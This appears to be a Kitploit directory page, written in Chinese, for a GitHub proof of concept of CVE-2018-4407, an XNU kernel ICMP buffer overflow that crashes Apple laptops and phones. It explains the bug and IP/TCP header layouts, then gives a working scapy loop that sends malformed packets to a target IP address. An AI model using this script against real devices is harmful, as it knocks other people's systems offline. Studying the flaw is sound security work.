Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2018-4407 — XNU 内核的 ICMP 错误代码中的缓冲区溢出漏洞会导致 IOS 设备崩溃(笔记本电脑和手机)。 | Kitploit
工具/GitHubGitHub/lucagiovagnoli/cve-2018-4407
Payload生成漏洞分析漏洞利用信息收集渗透测试二进制利用
GitHublucagiovagnoli/cve-2018-4407

CVE-2018-4407

XNU 内核的 ICMP 错误代码中的缓冲区溢出漏洞会导致 IOS 设备崩溃(笔记本电脑和手机)。

查看仓库
147年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2018-4407

CVE-2018-4407 是 XNU 内核 ICMP 错误代码中的一个缓冲区溢出漏洞。它会导致 IOS 设备在收到一个(是的,1 个!)恶意数据包时崩溃(包括笔记本和移动设备)。

该漏洞最初由 Kevin Backhouse 在其 lgtm 博客文章 中于 2018 年 10 月 30 日披露。

此仓库中的代码是 CVE-2018-4407 漏洞利用的概念验证,使用 Python 实现,并基于 scapy 和 nmap。

调试

我的调试过程中的一些步骤。查看 XNU 内核代码可以得出可能触发缓冲区溢出的 iphlen 和 tcphlen 的值。正如 Backhouse 所说,我们必须满足 icmplen > 84,并且看起来我们应该进入代码分支 if(oip->ip_p == IPPROTO_TCP) 才能实现这一点。一个 TCP 数据包就会触发此漏洞。

alt text

IPv4 报头格式 [RFC 791]

IPv4 报头的长度从最小 20 字节到最大 36 字节(取决于选项)。

  • IHL:IP 报头长度,包含选项。它还指示有效负载的起始位置。
  • Total Length:IP 数据包的总长度(包括 IP 报头和 TCP 有效负载)。
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |Version|  IHL  |Type of Service|          Total Length         |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |         Identification        |Flags|      Fragment Offset    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |  Time to Live |    Protocol   |         Header Checksum       | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 12  |                       Source Address                          | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |                    Destination Address                        | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 16B)        |    Padding    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TCP 报头格式 [RFC 793]

TCP 报头的长度从最小 20 字节到最大 60 字节(选项最多可达 40 字节)。

  • Data offset:指示数据起始位置,也可视为报头长度。
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |          Source Port          |       Destination Port        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |                        Sequence Number                        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |                    Acknowledgment Number                      |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |  Data |           |U|A|P|R|S|F|                               |
 12  | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
     |       |           |G|K|H|T|N|N|                               |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |           Checksum            |         Urgent Pointer        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 40B)        |    Padding    |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

暴力破解方法

没有必要深入 XNU 代码。也可以使用一个简单的 scapy 脚本,手动尝试各种报头长度:

MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>

for ip_opt_len in range(0, 60):
    for tcp_opt_len in range (0, 60):
        iphlen = ip_opt_len + MIN_IPHLEN
        tcphlen = tcp_opt_len + MIN_TCPHLEN
        total_ip_len = tcphlen + iphlen
        
        send(IP(
            ihl=iphlen/4,
            len=total_ip_len,
            dst=DST_IP,
            options=IPOption("a" * ip_opt_len)
        )/TCP(
            dataofs=15,
            options = [("NOP", None)] * tcp_opt_len
        ))
下载工具